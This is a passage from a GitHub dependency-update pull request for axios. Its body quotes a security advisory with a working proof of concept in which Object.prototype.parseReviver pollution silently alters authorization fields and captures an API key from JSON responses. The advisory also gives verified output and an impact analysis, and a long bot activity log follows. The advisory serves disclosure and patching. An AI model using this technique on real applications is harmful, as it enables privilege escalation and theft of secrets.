  3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.

  4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File:lib/defaults/index.js, line 124

transformResponse: [functiontransformResponse(data){// ... transitional checks ...if(data&&utils.isString(data)&&((forcedJSONParsing&&!this.responseType)||JSONRequested)){// ...try{returnJSON.parse(data,this.parseReviver);// ^^^^^^^^^^^^^^^^^// this = config// config.parseReviver → prototype chain → attacker's function}catch(e){// ...}}returndata;},],
Proof of Concept
importhttpfrom'http';importaxiosfrom'./index.js';// Server returns a realistic authorization responseconstserver=http.createServer((req,res)=>{res.writeHead(200,{'Content-Type': 'application/json'});res.end(JSON.stringify({user: 'john',role: 'viewer',isAdmin: false,canDelete: false,balance: 100,permissions: ['read'],apiKey: 'sk-secret-internal-key',}));});awaitnewPromise(r=>server.listen(0,r));constport=server.address().port;// === Before Pollution ===constbefore=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('Before:',JSON.stringify(before.data));// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}// === Simulate Prototype Pollution ===letstolen={};Object.prototype.parseReviver=function(key,value){// Silently capture all original valuesif(key&&typeofvalue!=='object')stolen[key]=value;// Surgically modify specific valuesif(key==='isAdmin')returntrue;// false → trueif(key==='role')return'admin';// viewer → adminif(key==='canDelete')returntrue;// false → trueif(key==='balance')return999999;// 100 → 999999returnvalue;// everything else unchanged};// === After Pollution — same code, same URL ===constafter=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('After: ',JSON.stringify(after.data));// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}console.log('Stolen:',JSON.stringify(stolen));// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}deleteObject.prototype.parseReviver;server.close();
Verified PoC Output
[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse
Impact Analysis
1. Authorization / Privilege Escalation
// Server returns: {"role":"viewer","isAdmin":false}// Application sees: {"role":"admin","isAdmin":true}// → Application grants admin access to unprivileged user
2. Financial Manipulation
// Server returns: {"bal>**Note**>>PRbodywastruncatedtohere.

@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.6.0 [security]fix(deps): update dependency axios to v1.6.0 [security] - autoclosedJan 23, 2024
@renovaterenovateBot closed this Jan 23, 2024
@renovate
renovateBot deleted the renovate/npm-axios-vulnerability branch January 23, 2024 13:34
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.6.0 [security] - autoclosedfix(deps): update dependency axios to v1.6.0 [security]Jan 23, 2024
@renovaterenovateBot reopened this Jan 23, 2024
@renovate
renovateBot restored the renovate/npm-axios-vulnerability branch January 23, 2024 17:02
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 64f2855 to f8e0ccbCompareJanuary 23, 2024 17:02
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.6.0 [security]fix(deps): update dependency axios to v1.6.0 [security] - autoclosedFeb 20, 2024
@renovaterenovateBot closed this Feb 20, 2024
@renovate
renovateBot deleted the renovate/npm-axios-vulnerability branch February 20, 2024 22:28
@renovate
renovateBot restored the renovate/npm-axios-vulnerability branch February 21, 2024 01:26
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.6.0 [security] - autoclosedfix(deps): update dependency axios to v1.6.0 [security]Feb 21, 2024
@renovaterenovateBot reopened this Feb 21, 2024
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from f8e0ccb to d28dfabCompareFebruary 21, 2024 01:26
@socket-security

socket-securityBot commented Feb 21, 2024

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

DiffPackageSupply Chain
Security
VulnerabilityQualityMaintenanceLicense
Updatedaxios@​1.3.2 ⏵ 1.18.098-1100+7510094-1100

View full report

@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from d28dfab to 2a64bd6CompareAugust 13, 2024 22:11
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.6.0 [security]fix(deps): update dependency axios to v1.7.4 [security]Aug 13, 2024
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.7.4 [security]fix(deps): update dependency axios to v1.7.4 [security] - autoclosedDec 8, 2024
@renovaterenovateBot closed this Dec 8, 2024
@renovate
renovateBot deleted the renovate/npm-axios-vulnerability branch December 8, 2024 18:44
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.7.4 [security] - autoclosedfix(deps): update dependency axios to v1.7.4 [security]Dec 8, 2024
@renovaterenovateBot reopened this Dec 8, 2024
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from f2bf2d4 to 2a64bd6CompareDecember 8, 2024 23:44
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 2a64bd6 to 2c520f6CompareMarch 8, 2025 22:49
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.7.4 [security]fix(deps): update dependency axios to v1.8.2 [security]Mar 8, 2025
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 2c520f6 to 91097b8CompareMarch 28, 2025 15:52
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.8.2 [security]fix(deps): update dependency axios to v1.7.4 [security]Mar 28, 2025
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 91097b8 to 691b612CompareAugust 10, 2025 12:26
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 691b612 to fb3027fCompareSeptember 13, 2025 19:48
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.7.4 [security]fix(deps): update dependency axios to v1.12.0 [security]Sep 13, 2025
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from e207c69 to 691e322CompareFebruary 21, 2026 05:57
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.13.5 [security]fix(deps): update dependency axios to v1.12.0 [security]Feb 21, 2026
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.12.0 [security]fix(deps): update dependency axios to v1.12.0 [security] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.12.0 [security] - autoclosedfix(deps): update dependency axios to v1.12.0 [security]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 691e322 to 21ba96aCompareMarch 30, 2026 21:23
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 21ba96a to 3615409CompareApril 10, 2026 00:29
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.12.0 [security]fix(deps): update dependency axios to v1.13.2 [security]Apr 10, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 3615409 to 0df2b5eCompareApril 10, 2026 08:28
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.13.2 [security]fix(deps): update dependency axios to v1.12.0 [security]Apr 10, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 0df2b5e to 765d116CompareApril 11, 2026 04:39
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.12.0 [security]fix(deps): update dependency axios to v1.15.0 [security]Apr 11, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 765d116 to 2ff42a3CompareApril 11, 2026 12:52
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.15.0 [security]fix(deps): update dependency axios to v1.12.0 [security]Apr 11, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 2ff42a3 to 61de466CompareApril 12, 2026 04:38
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.12.0 [security]fix(deps): update dependency axios to v1.15.0 [security]Apr 12, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 61de466 to 3a87eacCompareApril 12, 2026 12:42
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.15.0 [security]fix(deps): update dependency axios to v1.12.0 [security]Apr 12, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 3a87eac to 7af527cCompareApril 15, 2026 13:06
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.12.0 [security]fix(deps): update dependency axios to v1.15.0 [security]Apr 15, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 7af527c to 5978a76CompareApril 17, 2026 11:48
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.15.0 [security]fix(deps): update dependency axios to v1.12.0 [security]Apr 17, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 077d4c0 to fdf0b52CompareMay 6, 2026 04:25
@renovaterenovateBot changed the title fix(deps): update dependency axios to v1.12.0 [security]fix(deps): update dependency axios to v1.15.2 [security]May 6, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 3bbfbca to 625f3b9CompareMay 30, 2026 09:35
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants